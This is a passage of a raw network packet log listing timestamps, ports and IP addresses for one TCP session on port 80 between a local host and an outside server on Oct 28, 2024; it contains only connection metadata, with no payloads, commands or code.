Oct 28, 2024 15:28:23.439841032 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.439851046 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439861059 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439862967 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.439872026 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439882040 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.439893007 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439946890 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.439985037 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439986944 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439990997 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.439996958 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.440006971 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.440018892 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.440027952 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.440028906 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.440040112 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.440048933 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.440062046 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.440062046 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.440191984 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.660665035 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.663757086 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.777196884 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.782630920 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.782834053 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.782850027 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.782862902 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.782998085 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.788127899 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788146019 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788158894 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788171053 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788182020 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788192987 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788204908 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788217068 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788248062 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.788292885 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788304090 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788315058 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788319111 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.788327932 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788337946 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788351059 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.788353920 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788362026 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.788362026 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788371086 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788377047 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788378954 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788381100 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788386106 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.788393021 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788404942 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788417101 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788424969 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.788639069 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788646936 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.788650990 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788662910 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788674116 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788683891 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.788691044 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788708925 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.788752079 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.788809061 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788822889 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788841963 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788853884 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788863897 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788872957 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.788875103 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788885117 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788896084 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788896084 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.788907051 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788918018 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788925886 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.788928032 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788940907 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788955927 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788969994 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788974047 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.788975954 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788983107 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788992882 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.788995028 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789005041 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789015055 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789024115 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789026022 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789037943 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789047003 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789050102 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789060116 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789067030 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789072037 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789082050 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789092064 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789092064 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789110899 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789125919 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789138079 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789144993 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789163113 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789174080 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789180994 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789184093 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789195061 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789205074 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789216042 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789223909 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789235115 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789254904 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789254904 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789494038 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789508104 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789520025 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789530993 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789537907 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789544106 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789580107 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789580107 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789674997 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789689064 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789783001 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789841890 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789854050 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789865017 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789875031 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789885044 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789896011 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789904118 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789906025 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789926052 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.789942980 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.789997101 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790008068 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790019035 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790019035 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790029049 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790040016 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790043116 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790051937 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790061951 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790071964 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790081024 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790082932 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790091038 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790093899 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790110111 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790113926 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790147066 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790160894 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790163994 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790170908 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790177107 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790182114 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790191889 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790203094 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790208101 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790214062 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790220022 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790225029 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790235996 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790246010 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790252924 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790256023 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790266991 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790272951 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790281057 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790291071 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790302038 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790307045 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790316105 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790324926 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790335894 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790340900 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790347099 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790358067 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790363073 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790369034 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790373087 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790380001 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790390968 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790400982 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790405989 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790410995 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790424109 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790438890 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790730000 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790792942 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790893078 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790905952 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790916920 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790926933 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790936947 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790939093 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.790965080 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.790965080 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791028023 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791040897 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791053057 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791064024 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791069031 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791079044 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791079998 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791090965 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791101933 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791114092 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791120052 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791157961 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791157961 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791347980 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791362047 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791373014 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791383028 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791394949 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791400909 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791413069 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791414976 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791484118 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791487932 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791500092 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791512012 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791524887 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791539907 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791636944 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791675091 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791686058 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791696072 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791707039 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791713953 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791718006 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791728973 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791738033 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791738987 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791750908 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791760921 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791769981 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791771889 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791781902 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791788101 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791793108 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791809082 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791841030 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791852951 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791862011 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791862965 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791873932 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791883945 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791892052 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791896105 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791906118 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791913986 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791917086 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791927099 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791934967 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791937113 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791944981 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791948080 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791958094 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791969061 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.791975975 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.791985989 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.792001963 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.792253971 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.792265892 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.792275906 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.792287111 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.792296886 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.792303085 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.792308092 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.792319059 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.792330027 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.792337894 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.792340994 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.792351007 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.792361021 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.792371988 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.792387962 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.792495966 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.792581081 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.792593002 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.792603970 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.792926073 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.793987989 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794011116 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794022083 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794032097 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794044018 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794053078 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794051886 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.794064999 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794075012 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794081926 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.794085979 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794105053 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.794157982 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794176102 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794186115 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794230938 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.794333935 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794346094 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794351101 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794367075 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794378042 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794388056 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794430017 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794440031 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.794440031 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.794440985 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794454098 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794473886 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794483900 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794493914 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794496059 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.794514894 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794526100 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794529915 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.794537067 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794548035 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794553041 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.794558048 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794570923 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.794590950 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.794646978 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.829217911 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.830838919 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.834661961 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.834676981 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.834690094 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.834764957 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836251020 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836350918 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836420059 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836431980 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836442947 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836452961 CET	80	49764	185.215.113.16	192.168.2.6
